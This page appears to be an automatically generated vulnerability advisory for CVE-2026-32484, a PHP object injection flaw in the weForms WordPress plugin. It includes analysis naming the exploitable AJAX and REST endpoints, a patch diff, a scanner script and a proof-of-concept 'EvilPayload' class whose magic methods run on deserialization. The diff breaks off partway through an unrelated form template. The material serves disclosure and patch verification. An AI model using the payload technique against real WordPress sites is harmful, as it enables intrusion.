Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32484: weForms – Easy Drag & Drop Contact Form Builder For WordPress <= 1.6.26 – Unauthenticated PHP Object Injection (weforms)

Plugin weforms
Severity High (CVSS 8.1)
CWE 502
Vulnerable Version 1.6.26
Patched Version 1.6.27
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32484:
The weForms WordPress plugin, versions up to and including 1.6.26, contains an unauthenticated PHP Object Injection vulnerability. This vulnerability affects multiple components within the plugin that handle serialized form entry data. Attackers can exploit this flaw by submitting malicious serialized objects to the plugin’s data processing functions, potentially leading to remote code execution if a suitable POP chain exists in the WordPress environment.

Atomic Edge research identifies the root cause as unsafe deserialization of untrusted user input across seven distinct locations in the codebase. The vulnerable functions include `process_payment_data()` in `weforms/includes/admin/class-privacy.php`, `get_formatted_data()` in `weforms/includes/class-form-entry.php`, and `weforms_get_pain_text()` in `weforms/includes/functions.php`. Each location directly passes user-controlled data to PHP’s `unserialize()` function without validation. The `payment_data` property from form entries and serialized field values from the database serve as the injection vectors. No authentication checks protect these deserialization points.

Exploitation requires an attacker to submit a malicious serialized PHP object to any endpoint that processes weForms data. The primary attack vector involves the plugin’s AJAX handlers at `/wp-admin/admin-ajax.php` with action parameters like `weforms_form_entry`. REST API endpoints under `/wp-json/weforms/v1/` also process form submissions. Attackers craft serialized objects containing classes with dangerous magic methods like `__wakeup()` or `__destruct()`. The payload must bypass any serialization format checks but does not require authentication.

The patch implements a defense-in-depth approach across all vulnerable files. Developers replaced `unserialize()` calls with safe alternatives using the `allowed_classes => false` parameter. In `class-privacy.php`, `class-weforms-forms-controller.php`, and `class-ajax.php`, they added explicit `is_serialized()` checks before deserialization. The `class-form-entry.php` file received the most extensive modifications, with five separate unsafe `unserialize()` calls replaced. Developers also removed the vulnerable `weforms_get_pain_text()` function entirely, noting that WordPress’s `get_metadata()` already handles deserialization safely.

Successful exploitation enables arbitrary object instantiation in the WordPress context. While the plugin itself contains no known POP chain, attackers can leverage classes from other installed plugins or themes. Common payloads target `__destruct()` or `__wakeup()` methods to achieve file deletion, sensitive data exposure, or remote code execution. The CVSS score of 8.1 reflects the high impact potential when combined with vulnerable components elsewhere in the environment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/weforms/includes/admin/class-privacy.php
+++ b/weforms/includes/admin/class-privacy.php
@@ -218,7 +218,10 @@
     }

     public static function process_payment_data( $payment_data ) {
-        $field_value = unserialize( $payment_data->payment_data );
+        // Security fix: Prevent PHP Object Injection by restricting allowed classes
+        $field_value = is_serialized( $payment_data->payment_data )
+            ? @unserialize( $payment_data->payment_data, [ 'allowed_classes' => false ] )
+            : $payment_data->payment_data;

         $serialized_value = [];
         $transaction_data = [];
--- a/weforms/includes/api/class-weforms-forms-controller.php
+++ b/weforms/includes/api/class-weforms-forms-controller.php
@@ -1548,7 +1548,8 @@
         $payment       = $entry->get_payment_data();

         if ( isset( $payment->payment_data ) && is_serialized( $payment->payment_data ) ) {
-            $payment->payment_data = unserialize( $payment->payment_data );
+            // Security fix: Prevent PHP Object Injection by restricting allowed classes
+            $payment->payment_data = @unserialize( $payment->payment_data, [ 'allowed_classes' => false ] );
         }

         $has_empty          = false;
--- a/weforms/includes/class-ajax.php
+++ b/weforms/includes/class-ajax.php
@@ -520,7 +520,8 @@
         $payment        = $entry->get_payment_data();

         if ( isset( $payment->payment_data ) && is_serialized( $payment->payment_data ) ) {
-            $payment->payment_data = unserialize( $payment->payment_data );
+            // Security fix: Prevent PHP Object Injection by restricting allowed classes
+            $payment->payment_data = @unserialize( $payment->payment_data, [ 'allowed_classes' => false ] );
         }

         if ( false === $fields ) {
--- a/weforms/includes/class-form-entry.php
+++ b/weforms/includes/class-form-entry.php
@@ -170,7 +170,10 @@
                         }
                     } elseif ( in_array( $field['type'], [ 'image_upload', 'file_upload' ] ) ) {
                         $file_field = '';
-                        $value      = maybe_unserialize( $value );
+                        // Security fix: Prevent PHP Object Injection by restricting allowed classes
+                        $value      = is_serialized( $value )
+                            ? @unserialize( $value, [ 'allowed_classes' => false ] )
+                            : $value;

                         if ( is_array( $value ) && $value ) {
                             foreach ( $value as $attachment_id ) {
@@ -196,7 +199,10 @@
                             'long'    => trim( $long ),
                         ];
                     } elseif ( $field['type'] == 'multiple_product' ) {
-                        $field_value = unserialize( $value );
+                        // Security fix: Prevent PHP Object Injection by restricting allowed classes
+                        $field_value = is_serialized( $value )
+                            ? @unserialize( $value, [ 'allowed_classes' => false ] )
+                            : $value;

                         $serialized_value = [];

@@ -218,7 +224,10 @@
                             $value = implode( '<br> <br> ', $serialized_value );
                         }
                     } elseif ( $field['type'] == 'checkbox_grid' ) {
-                        $entry_value = unserialize( $value );
+                        // Security fix: Prevent PHP Object Injection by restricting allowed classes
+                        $entry_value = is_serialized( $value )
+                            ? @unserialize( $value, [ 'allowed_classes' => false ] )
+                            : $value;

                         if ( $entry_value ) {
                             $return = '';
@@ -281,7 +290,10 @@
                             $value = $return;
                         }
                     } elseif ( $field['type'] == 'multiple_choice_grid' ) {
-                        $entry_value = unserialize( $value );
+                        // Security fix: Prevent PHP Object Injection by restricting allowed classes
+                        $entry_value = is_serialized( $value )
+                            ? @unserialize( $value, [ 'allowed_classes' => false ] )
+                            : $value;

                         if ( $entry_value ) {
                             $return = '';
@@ -344,7 +356,10 @@
                             $value = $return;
                         }
                     } elseif ( $field['type'] == 'address_field' || is_serialized( $value ) ) {
-                        $field_value = unserialize( $value );
+                        // Security fix: Prevent PHP Object Injection by restricting allowed classes
+                        $field_value = is_serialized( $value )
+                            ? @unserialize( $value, [ 'allowed_classes' => false ] )
+                            : $value;

                         $serialized_value = [];

--- a/weforms/includes/class-form.php
+++ b/weforms/includes/class-form.php
@@ -126,7 +126,10 @@
         $form_fields = [];

         foreach ( $fields as $key => $content ) {
-            $field = maybe_unserialize( $content->post_content );
+            // Security fix: Prevent PHP Object Injection by restricting allowed classes
+            $field = is_serialized( $content->post_content )
+                ? @unserialize( $content->post_content, [ 'allowed_classes' => false ] )
+                : $content->post_content;

             if ( empty( $field['template']  ) ) {
                 continue;
--- a/weforms/includes/functions.php
+++ b/weforms/includes/functions.php
@@ -1248,14 +1248,15 @@
  * @return string
  **/
 function weforms_get_pain_text( $value ) {
-    if ( is_serialized( $value ) ) {
-        $value = unserialize( $value );
-    }
+    // Security fix: Removed unsafe unserialize() call to prevent PHP Object Injection.
+    // WordPress's get_metadata() already handles deserialization safely.
+    // Any serialized strings at this point should be treated as untrusted user input.

     if ( is_array( $value ) ) {
         $string_value = [];
         foreach ( $value as $key => $single_value ) {
-            if ( is_array( $single_value ) || is_serialized( $single_value ) ) {
+            // Only recursively process arrays, not serialized strings
+            if ( is_array( $single_value ) ) {
                 $single_value = weforms_get_pain_text( $single_value );
             }

--- a/weforms/security-tests/automated-test.php
+++ b/weforms/security-tests/automated-test.php
@@ -0,0 +1,362 @@
+<?php
+/**
+ * Automated Security Test for weForms Plugin
+ *
+ * This script tests the actual plugin code for unsafe deserialization
+ * vulnerabilities.
+ *
+ * Usage: php automated-test.php /path/to/weforms/plugin
+ *
+ * @package WeForms Security Tests
+ */
+
+// Color output for terminal
+class TestColors {
+    const RED = "33[31m";
+    const GREEN = "33[32m";
+    const YELLOW = "33[33m";
+    const BLUE = "33[34m";
+    const RESET = "33[0m";
+    const BOLD = "33[1m";
+}
+
+class WeFormsSecurityTester {
+    private $plugin_path;
+    private $test_results = [];
+    private $vulnerable_files = [];
+    private $patched_files = [];
+
+    public function __construct($plugin_path) {
+        $this->plugin_path = rtrim($plugin_path, '/');
+
+        if (!is_dir($this->plugin_path)) {
+            die("Error: Plugin path does not exist: {$this->plugin_path}n");
+        }
+    }
+
+    /**
+     * Run all security tests
+     */
+    public function run_tests() {
+        $this->print_header("WEFORMS SECURITY VULNERABILITY TEST SUITE");
+
+        echo "Plugin Path: {$this->plugin_path}nn";
+
+        // Test 1: Scan for unsafe unserialize calls
+        $this->test_scan_unsafe_unserialize();
+
+        // Test 2: Verify safe deserialization patterns
+        $this->test_verify_safe_patterns();
+
+        // Test 3: Check for remaining maybe_unserialize
+        $this->test_check_maybe_unserialize();
+
+        // Test 4: Verify allowed_classes parameter
+        $this->test_verify_allowed_classes();
+
+        // Print summary
+        $this->print_summary();
+    }
+
+    /**
+     * Test 1: Scan for unsafe unserialize calls
+     */
+    private function test_scan_unsafe_unserialize() {
+        $this->print_test_header("TEST 1: Scanning for Unsafe unserialize() Calls");
+
+        $files_to_check = [
+            'includes/admin/class-privacy.php',
+            'includes/api/class-weforms-forms-controller.php',
+            'includes/class-ajax.php',
+            'includes/class-form-entry.php',
+            'includes/class-form.php',
+            'includes/functions.php',
+        ];
+
+        $found_unsafe = false;
+
+        foreach ($files_to_check as $file) {
+            $full_path = $this->plugin_path . '/' . $file;
+
+            if (!file_exists($full_path)) {
+                echo "  ⚠️  File not found: {$file}n";
+                continue;
+            }
+
+            $content = file_get_contents($full_path);
+
+            // Look for unsafe unserialize patterns
+            // Pattern: unserialize( without ['allowed_classes' => false]
+            preg_match_all('/unserializes*(s*[^)]+)s*;/', $content, $all_matches, PREG_SET_ORDER);
+
+            $unsafe_matches = [];
+            foreach ($all_matches as $match) {
+                // Check if it has allowed_classes parameter nearby
+                $context_start = max(0, strpos($content, $match[0]) - 200);
+                $context = substr($content, $context_start, 300);
+                if (!preg_match('/allowed_classes.*false/', $context)) {
+                    $unsafe_matches[] = $match;
+                }
+            }
+
+            if (!empty($unsafe_matches)) {
+                echo TestColors::RED . "  ❌ VULNERABLE: {$file}" . TestColors::RESET . "n";
+                foreach ($unsafe_matches as $match) {
+                    echo "     Found: " . trim($match[0]) . "n";
+                }
+                $this->vulnerable_files[] = $file;
+                $found_unsafe = true;
+            }
+        }
+
+        if (!$found_unsafe) {
+            echo TestColors::GREEN . "  ✅ PASS: No unsafe unserialize() calls foundn" . TestColors::RESET;
+            $this->test_results['unsafe_unserialize'] = 'PASS';
+        } else {
+            echo TestColors::RED . "  ❌ FAIL: Found unsafe unserialize() callsn" . TestColors::RESET;
+            $this->test_results['unsafe_unserialize'] = 'FAIL';
+        }
+
+        echo "n";
+    }
+
+    /**
+     * Test 2: Verify safe deserialization patterns
+     */
+    private function test_verify_safe_patterns() {
+        $this->print_test_header("TEST 2: Verifying Safe Deserialization Patterns");
+
+        $files_to_check = [
+            'includes/admin/class-privacy.php' => 1,
+            'includes/api/class-weforms-forms-controller.php' => 1,
+            'includes/class-ajax.php' => 1,
+            'includes/class-form-entry.php' => 5,
+            'includes/class-form.php' => 1,
+        ];
+
+        $all_verified = true;
+
+        foreach ($files_to_check as $file => $expected_count) {
+            $full_path = $this->plugin_path . '/' . $file;
+
+            if (!file_exists($full_path)) {
+                continue;
+            }
+
+            $content = file_get_contents($full_path);
+
+            // Count safe patterns: allowed_classes => false
+            $safe_count = preg_match_all(
+                '/unserializes*([^)]+[s*['"]allowed_classes['"]s*=>s*falses*]/',
+                $content
+            );
+
+            if ($safe_count >= $expected_count) {
+                echo TestColors::GREEN . "  ✅ {$file}: {$safe_count}/{$expected_count} safe patterns" . TestColors::RESET . "n";
+                $this->patched_files[] = $file;
+            } else {
+                echo TestColors::RED . "  ❌ {$file}: {$safe_count}/{$expected_count} safe patterns (MISSING: " . ($expected_count - $safe_count) . ")" . TestColors::RESET . "n";
+                $all_verified = false;
+            }
+        }
+
+        if ($all_verified) {
+            echo TestColors::GREEN . "n  ✅ PASS: All expected safe patterns verifiedn" . TestColors::RESET;
+            $this->test_results['safe_patterns'] = 'PASS';
+        } else {
+            echo TestColors::RED . "n  ❌ FAIL: Some safe patterns missingn" . TestColors::RESET;
+            $this->test_results['safe_patterns'] = 'FAIL';
+        }
+
+        echo "n";
+    }
+
+    /**
+     * Test 3: Check for remaining maybe_unserialize
+     */
+    private function test_check_maybe_unserialize() {
+        $this->print_test_header("TEST 3: Checking for Unsafe maybe_unserialize() Calls");
+
+        $files_to_check = [
+            'includes/class-form-entry.php',
+            'includes/class-form.php',
+        ];
+
+        $found_unsafe = false;
+
+        foreach ($files_to_check as $file) {
+            $full_path = $this->plugin_path . '/' . $file;
+
+            if (!file_exists($full_path)) {
+                continue;
+            }
+
+            $content = file_get_contents($full_path);
+
+            // Look for maybe_unserialize
+            if (preg_match('/maybe_unserializes*(/', $content, $matches)) {
+                echo TestColors::RED . "  ⚠️  FOUND: {$file} still uses maybe_unserialize()n" . TestColors::RESET;
+                $found_unsafe = true;
+            }
+        }
+
+        if (!$found_unsafe) {
+            echo TestColors::GREEN . "  ✅ PASS: No maybe_unserialize() calls foundn" . TestColors::RESET;
+            $this->test_results['maybe_unserialize'] = 'PASS';
+        } else {
+            echo TestColors::YELLOW . "  ⚠️  WARNING: Found maybe_unserialize() calls (should be replaced)n" . TestColors::RESET;
+            $this->test_results['maybe_unserialize'] = 'WARNING';
+        }
+
+        echo "n";
+    }
+
+    /**
+     * Test 4: Verify allowed_classes parameter
+     */
+    private function test_verify_allowed_classes() {
+        $this->print_test_header("TEST 4: Verifying allowed_classes => false Parameter");
+
+        // Recursively find all PHP files in includes directory
+        $all_files = $this->get_php_files_recursive($this->plugin_path . '/includes');
+        $all_secure = true;
+        $unserialize_count = 0;
+
+        foreach ($all_files as $file) {
+            $content = file_get_contents($file);
+
+            // Find all unserialize calls
+            preg_match_all('/unserializes*([^;]+;/s', $content, $matches);
+
+            foreach ($matches[0] as $match) {
+                $unserialize_count++;
+
+                // Check if it has allowed_classes
+                if (!preg_match('/[s*['"]allowed_classes['"]s*=>s*falses*]/', $match)) {
+                    // Skip if it's in a comment
+                    if (strpos($match, '//') !== false || strpos($match, '/*') !== false) {
+                        continue;
+                    }
+
+                    echo TestColors::RED . "  ❌ Missing allowed_classes: " . basename($file) . TestColors::RESET . "n";
+                    echo "     " . trim(substr($match, 0, 80)) . "...n";
+                    $all_secure = false;
+                }
+            }
+        }
+
+        if ($all_secure && $unserialize_count > 0) {
+            echo TestColors::GREEN . "  ✅ PASS: All {$unserialize_count} unserialize() calls have allowed_classes => falsen" . TestColors::RESET;
+            $this->test_results['allowed_classes'] = 'PASS';
+        } elseif ($unserialize_count == 0) {
+            echo TestColors::YELLOW . "  ⚠️  WARNING: No unserialize() calls foundn" . TestColors::RESET;
+            $this->test_results['allowed_classes'] = 'WARNING';
+        } else {
+            echo TestColors::RED . "  ❌ FAIL: Some unserialize() calls missing allowed_classesn" . TestColors::RESET;
+            $this->test_results['allowed_classes'] = 'FAIL';
+        }
+
+        echo "n";
+    }
+
+    /**
+     * Recursively get all PHP files in a directory
+     *
+     * @param string $directory Directory path to scan
+     * @return array Array of PHP file paths
+     */
+    private function get_php_files_recursive($directory) {
+        $php_files = [];
+
+        if (!is_dir($directory)) {
+            return $php_files;
+        }
+
+        $iterator = new RecursiveIteratorIterator(
+            new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
+            RecursiveIteratorIterator::SELF_FIRST
+        );
+
+        foreach ($iterator as $file) {
+            if ($file->isFile() && $file->getExtension() === 'php') {
+                $php_files[] = $file->getPathname();
+            }
+        }
+
+        return $php_files;
+    }
+
+    /**
+     * Print test summary
+     */
+    private function print_summary() {
+        $this->print_header("TEST SUMMARY");
+
+        $total_tests = count($this->test_results);
+        $passed = 0;
+        $failed = 0;
+        $warnings = 0;
+
+        foreach ($this->test_results as $test => $result) {
+            $label = str_pad(ucwords(str_replace('_', ' ', $test)), 30);
+
+            if ($result === 'PASS') {
+                echo TestColors::GREEN . "  ✅ {$label}: PASS" . TestColors::RESET . "n";
+                $passed++;
+            } elseif ($result === 'FAIL') {
+                echo TestColors::RED . "  ❌ {$label}: FAIL" . TestColors::RESET . "n";
+                $failed++;
+            } else {
+                echo TestColors::YELLOW . "  ⚠️  {$label}: {$result}" . TestColors::RESET . "n";
+                $warnings++;
+            }
+        }
+
+        echo "n";
+        echo str_repeat("=", 70) . "n";
+        echo "Total Tests: {$total_tests}n";
+        echo TestColors::GREEN . "Passed: {$passed}" . TestColors::RESET . "n";
+        echo TestColors::RED . "Failed: {$failed}" . TestColors::RESET . "n";
+        echo TestColors::YELLOW . "Warnings: {$warnings}" . TestColors::RESET . "n";
+        echo str_repeat("=", 70) . "nn";
+
+        // Final verdict
+        if ($failed > 0) {
+            echo TestColors::RED . TestColors::BOLD . "❌ VERDICT: VULNERABLE - Patch incomplete or not applied" . TestColors::RESET . "nn";
+            exit(1);
+        } elseif ($warnings > 0) {
+            echo TestColors::YELLOW . TestColors::BOLD . "⚠️  VERDICT: PARTIALLY SECURE - Some improvements needed" . TestColors::RESET . "nn";
+            exit(0);
+        } else {
+            echo TestColors::GREEN . TestColors::BOLD . "✅ VERDICT: SECURE - All tests passed!" . TestColors::RESET . "nn";
+            exit(0);
+        }
+    }
+
+    private function print_header($text) {
+        echo "n" . str_repeat("=", 70) . "n";
+        echo TestColors::BOLD . "  " . $text . TestColors::RESET . "n";
+        echo str_repeat("=", 70) . "nn";
+    }
+
+    private function print_test_header($text) {
+        echo str_repeat("-", 70) . "n";
+        echo TestColors::BOLD . $text . TestColors::RESET . "n";
+        echo str_repeat("-", 70) . "n";
+    }
+}
+
+// Main execution
+if (php_sapi_name() === 'cli') {
+    if ($argc < 2) {
+        echo "Usage: php automated-test.php /path/to/weforms/pluginn";
+        echo "Example: php automated-test.php /home/user/wp-content/plugins/weformsn";
+        exit(1);
+    }
+
+    $plugin_path = $argv[1];
+    $tester = new WeFormsSecurityTester($plugin_path);
+    $tester->run_tests();
+} else {
+    die("This script must be run from the command line.n");
+}
--- a/weforms/security-tests/exploit-poc.php
+++ b/weforms/security-tests/exploit-poc.php
@@ -0,0 +1,228 @@
+<?php
+/**
+ * Proof of Concept: PHP Object Injection Exploit
+ *
+ * WARNING: FOR TESTING PURPOSES ONLY
+ * This demonstrates the vulnerability but uses a safe payload
+ * that only writes to a log file, not actual RCE.
+ *
+ * @package WeForms Security Tests
+ * @version 1.0.0
+ */
+
+/**
+ * Evil class that demonstrates object injection
+ * Uses __destruct() magic method to execute code when object is destroyed
+ */
+class EvilPayload {
+    public $log_file;
+    public $message;
+
+    public function __construct($log_file = '/tmp/exploit-test.log', $message = 'EXPLOIT SUCCESSFUL') {
+        $this->log_file = $log_file;
+        $this->message = $message;
+    }
+
+    /**
+     * This gets called when the object is unserialized
+     */
+    public function __wakeup() {
+        error_log("[__wakeup] Evil object instantiated at " . date('Y-m-d H:i:s'));
+        $this->execute_payload();
+    }
+
+    /**
+     * This gets called when the object is destroyed
+     */
+    public function __destruct() {
+        error_log("[__destruct] Evil object destroyed at " . date('Y-m-d H:i:s'));
+        $this->execute_payload();
+    }
+
+    /**
+     * Payload execution - writes to log file to prove exploitation
+     * In a real attack, this could execute arbitrary code
+     */
+    private function execute_payload() {
+        $timestamp = date('Y-m-d H:i:s');
+        $content = "[{$timestamp}] {$this->message}n";
+        file_put_contents($this->log_file, $content, FILE_APPEND);
+
+        // This demonstrates the severity - in a real attack:
+        // - Could execute system commands
+        // - Could read sensitive files
+        // - Could establish reverse shell
+        // - Could steal database credentials
+        echo "⚠️ VULNERABILITY EXPLOITED: Magic method executed!n";
+    }
+}
+
+/**
+ * Generate malicious serialized payload
+ */
+function generate_malicious_payload($log_file = '/tmp/exploit-test.log') {
+    $evil = new EvilPayload($log_file, 'PHP OBJECT INJECTION - EXPLOIT SUCCESSFUL!');
+    return serialize($evil);
+}
+
+/**
+ * Test unsafe deserialization (VULNERABLE)
+ */
+function test_unsafe_unserialize($payload) {
+    echo "n" . str_repeat("=", 70) . "n";
+    echo "❌ TESTING UNSAFE DESERIALIZATION (VULNERABLE)n";
+    echo str_repeat("=", 70) . "n";
+
+    echo "Payload: " . $payload . "nn";
+
+    // VULNERABLE CODE - DO NOT USE IN PRODUCTION
+    $result = unserialize($payload);
+
+    echo "Result type: " . gettype($result) . "n";
+    if (is_object($result)) {
+        echo "⚠️ CRITICAL: Object was instantiated!n";
+        echo "Class: " . get_class($result) . "n";
+    }
+
+    return $result;
+}
+
+/**
+ * Test safe deserialization (PATCHED)
+ */
+function test_safe_unserialize($payload) {
+    echo "n" . str_repeat("=", 70) . "n";
+    echo "✅ TESTING SAFE DESERIALIZATION (PATCHED)n";
+    echo str_repeat("=", 70) . "n";
+
+    echo "Payload: " . $payload . "nn";
+
+    // PATCHED CODE - SAFE
+    $result = is_string($payload) && is_serialized($payload)
+        ? @unserialize($payload, ['allowed_classes' => false])
+        : $payload;
+
+    echo "Result type: " . gettype($result) . "n";
+    if (is_object($result)) {
+        $class = get_class($result);
+        echo "Class: " . $class . "n";
+
+        if ($class === '__PHP_Incomplete_Class') {
+            echo "✅ SUCCESS: Object converted to __PHP_Incomplete_Class (expected safe behavior)n";
+            echo "   This prevents magic methods from executing and blocks the exploit!n";
+        } else {
+            echo "⚠️ WARNING: Real object was instantiated (should not happen)!n";
+            echo "   Expected __PHP_Incomplete_Class but got: " . $class . "n";
+        }
+    } else {
+        echo "✅ SUCCESS: Object instantiation blocked!n";
+        if (is_array($result)) {
+            echo "Result converted to array safelyn";
+        }
+    }
+
+    return $result;
+}
+
+/**
+ * Helper function to check if string is serialized
+ */
+function is_serialized($data, $strict = true) {
+    if (!is_string($data)) {
+        return false;
+    }
+    $data = trim($data);
+    if ('N;' === $data) {
+        return true;
+    }
+    if (strlen($data) < 4) {
+        return false;
+    }
+    if (':' !== $data[1]) {
+        return false;
+    }
+    if ($strict) {
+        $lastc = substr($data, -1);
+        if (';' !== $lastc && '}' !== $lastc) {
+            return false;
+        }
+    } else {
+        $semicolon = strpos($data, ';');
+        $brace     = strpos($data, '}');
+        if (false === $semicolon && false === $brace) {
+            return false;
+        }
+        if (false !== $semicolon && $semicolon < 3) {
+            return false;
+        }
+        if (false !== $brace && $brace < 4) {
+            return false;
+        }
+    }
+    $token = $data[0];
+    switch ($token) {
+        case 's':
+            if ($strict) {
+                if ('"' !== substr($data, -2, 1)) {
+                    return false;
+                }
+            } elseif (false === strpos($data, '"')) {
+                return false;
+            }
+        case 'a':
+        case 'O':
+            return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);
+        case 'b':
+        case 'i':
+        case 'd':
+            $end = $strict ? '$' : '';
+            return (bool) preg_match("/^{$token}:[0-9.E+-]+;$end/", $data);
+    }
+    return false;
+}
+
+// Main execution
+if (php_sapi_name() === 'cli') {
+    echo "n";
+    echo str_repeat("=", 70) . "n";
+    echo "  WEFORMS PHP OBJECT INJECTION VULNERABILITY TESTn";
+    echo str_repeat("=", 70) . "n";
+
+    // Generate malicious payload
+    $malicious_payload = generate_malicious_payload();
+
+    echo "n📝 Generated malicious payload:n";
+    echo $malicious_payload . "n";
+
+    // Test 1: Vulnerable version
+    echo "nn🔴 TEST 1: VULNERABLE CODE (BEFORE PATCH)n";
+    echo str_repeat("-", 70) . "n";
+    $result1 = test_unsafe_unserialize($malicious_payload);
+
+    // Clear the log for clean test
+    @unlink('/tmp/exploit-test.log');
+
+    // Test 2: Patched version
+    echo "nn🟢 TEST 2: PATCHED CODE (AFTER PATCH)n";
+    echo str_repeat("-", 70) . "n";
+    $result2 = test_safe_unserialize($malicious_payload);
+
+    // Check if exploit file was created
+    echo "nn" . str_repeat("=", 70) . "n";
+    echo "📊 EXPLOIT DETECTION RESULTSn";
+    echo str_repeat("=", 70) . "n";
+
+    if (file_exists('/tmp/exploit-test.log')) {
+        echo "❌ VULNERABLE: Exploit log file created!n";
+        echo "Contents:n";
+        echo file_get_contents('/tmp/exploit-test.log');
+        echo "nThis confirms the vulnerability is exploitable.n";
+    } else {
+        echo "✅ SECURE: No exploit log file created!n";
+        echo "The patch successfully prevented exploitation.n";
+    }
+
+    echo "n" . str_repeat("=", 70) . "n";
+    echo "TEST COMPLETEn";
+    echo str_repeat("=", 70) . "nn";
+}
--- a/weforms/trunk/assets/js-templates/form-components.php
+++ b/weforms/trunk/assets/js-templates/form-components.php
@@ -0,0 +1,983 @@
+<script type="text/x-template" id="tmpl-wpuf-dynamic-field">
+<div>
+
+    <div class="panel-field-opt panel-field-opt-text">
+        <label>
+            <?php _e( 'Dynamic value population', 'weforms' ); ?>
+            <help-text text="<?php _e( 'Field value or options can be populated dynamically through filter hook or query string', 'weforms' ); ?>"></help-text>
+        </label>
+
+        <ul>
+            <li>
+                <label>
+                    <input type="checkbox" value="yes" v-model="dynamic.status"> <?php _e( 'Allow field to be populated dynamically', 'weforms' ); ?>
+                </label>
+            </li>
+        </ul>
+    </div>
+
+
+	<template v-if="dynamic.status">
+
+		<div class="panel-field-opt panel-field-opt-text"><label>
+            <?php _e( 'Parameter Name', 'weforms' ); ?>
+	        <help-text text="<?php _e( 'Enter a Parameter Name, using that the field value can be populated through filter hook or query string', 'weforms' ); ?>"></help-text>
+	         <input type="text" v-model="dynamic.param_name">
+	     	</label>
+     	</div>
+	</template>
+
+</div>
+</script>
+
+<script type="text/x-template" id="tmpl-wpuf-field-name">
+<div>
+    <div class="panel-field-opt panel-field-name clearfix">
+
+        <label>
+            <?php _e( 'First Name', 'weforms' ); ?>
+        </label>
+
+        <div class="name-field-placeholder">
+
+            <div class="name-merge-tag-holder">
+                <input type="text" v-model="editing_form_field.first_name.placeholder">
+                <wpuf-merge-tags
+                    filter="no_fields"
+                    v-on:insert="insertValue"
+                    :field="{name: 'first_name', type: 'placeholder'}">
+                </wpuf-merge-tags>
+            </div>
+
+            <label><?php _e( 'Placeholder', 'weforms' ); ?></label>
+        </div>
+
+        <div class="name-field-value">
+            <div class="name-merge-tag-holder">
+                <input type="text" v-model="editing_form_field.first_name.default">
+                <wpuf-merge-tags
+                    filter="no_fields"
+                    v-on:insert="insertValue"
+                    :field="{name: 'first_name', type: 'default'}">
+                </wpuf-merge-tags>
+            </div>
+
+            <label><?php _e( 'Default Value', 'weforms' ); ?></label>
+        </div>
+    </div>
+
+    <div class="panel-field-opt panel-field-name clearfix" v-if="editing_form_field.format !== 'first-last'">
+
+        <label>
+            <?php _e( 'Middle Name', 'weforms' ); ?>
+        </label>
+
+        <div class="name-field-placeholder">
+            <div class="name-merge-tag-holder">
+                <input type="text" v-model="editing_form_field.middle_name.placeholder">
+                <wpuf-merge-tags
+                    filter="no_fields"
+                    v-on:insert="insertValue"
+                    :field="{name: 'middle_name', type: 'placeholder'}">
+                </wpuf-merge-tags>
+            </div>
+
+            <label><?php _e( 'Placeholder', 'weforms' ); ?></label>
+        </div>
+
+        <div class="name-field-value">
+
+            <div class="name-merge-tag-holder">
+                <input type="text" v-model="editing_form_field.middle_name.default">
+                <wpuf-merge-tags
+                    filter="no_fields"
+                    v-on:insert="insertValue"
+                    :field="{name: 'middle_name', type: 'default'}">
+                </wpuf-merge-tags>
+            </div>
+
+            <label><?php _e( 'Default Value', 'weforms' ); ?></label>
+        </div>
+    </div>
+
+    <div class="panel-field-opt panel-field-name clearfix">
+
+        <label>
+            <?php _e( 'Last Name', 'weforms' ); ?>
+        </label>
+
+        <div class="name-field-placeholder">
+
+            <div class="name-merge-tag-holder">
+                <input type="text" v-model="editing_form_field.last_name.placeholder">
+                <wpuf-merge-tags
+                    filter="no_fields"
+                    v-on:insert="insertValue"
+                    :field="{name: 'last_name', type: 'placeholder'}">
+                </wpuf-merge-tags>
+            </div>
+
+            <label><?php _e( 'Placeholder', 'weforms' ); ?></label>
+        </div>
+
+        <div class="name-field-value">
+            <div class="name-merge-tag-holder">
+                <input type="text" v-model="editing_form_field.last_name.default">
+                <wpuf-merge-tags
+                    filter="no_fields"
+                    v-on:insert="insertValue"
+                    :field="{name: 'last_name', type: 'default'}">
+                </wpuf-merge-tags>
+            </div>
+            <label><?php _e( 'Default Value', 'weforms' ); ?></label>
+        </div>
+    </div>
+</div>
+</script>
+
+<script type="text/x-template" id="tmpl-wpuf-field-text-with-tag">
+<div v-if="met_dependencies" class="panel-field-opt panel-field-opt-text field-text-with-tag">
+    <label>
+        {{ option_field.title }} <help-text v-if="option_field.help_text" :text="option_field.help_text"></help-text>
+
+        <input
+            v-if="option_field.variation && 'number' === option_field.variation"
+            type="number"
+            v-model="value"
+            @focusout="on_focusout"
+            @keyup="on_keyup"
+        >
+
+        <input
+            v-if="!option_field.variation"
+            type="text"
+            v-model="value"
+            @focusout="on_focusout"
+            @keyup="on_keyup"
+        >
+
+       <wpuf-merge-tags :filter="option_field.tag_filter" v-on:insert="insertValue"></wpuf-merge-tags>
+    </label>
+</div>
+</script>
+
+<script type="text/x-template" id="tmpl-wpuf-form-date_field">
+<div class="wpuf-fields">
+    <input
+        type="text"
+        :class="class_names('datepicker')"
+        :placeholder="field.format"
+        :value="field.default"
+        :size="field.size"
+    >
+    <span v-if="field.help" class="wpuf-help">{{ field.help }}</span>
+</div></script>
+
+<script type="text/x-template" id="tmpl-wpuf-form-name_field">
+<div class="wpuf-fields">
+
+    <div :class="['wpuf-name-field-wrap', 'format-' + field.format]">
+        <div class="wpuf-name-field-first-name">
+            <input
+                type="text"
+                :class="class_names('textfield')"
+                :placeholder="field.first_name.placeholder"
+                :value="field.first_name.default"
+                :size="field.size"
+            >
+            <label class="wpuf-form-sub-label" v-if="!field.hide_subs">{{ field.first_name.sub }}</label>
+        </div>
+
+        <div class="wpuf-name-field-middle-name">
+            <input
+                type="text"
+                :class="class_names('textfield')"
+                :placeholder="field.middle_name.placeholder"
+                :value="field.middle_name.default"
+                :size="field.size"
+            >
+            <label class="wpuf-form-sub-label" v-if="!field.hide_subs">{{ field.middle_name.sub }}</label>
+        </div>
+
+        <div class="wpuf-name-field-last-name">
+            <input
+                type="text"
+                :class="class_names('textfield')"
+                :placeholder="field.last_name.placeholder"
+                :value="field.last_name.default"
+                :size="field.size"
+            >
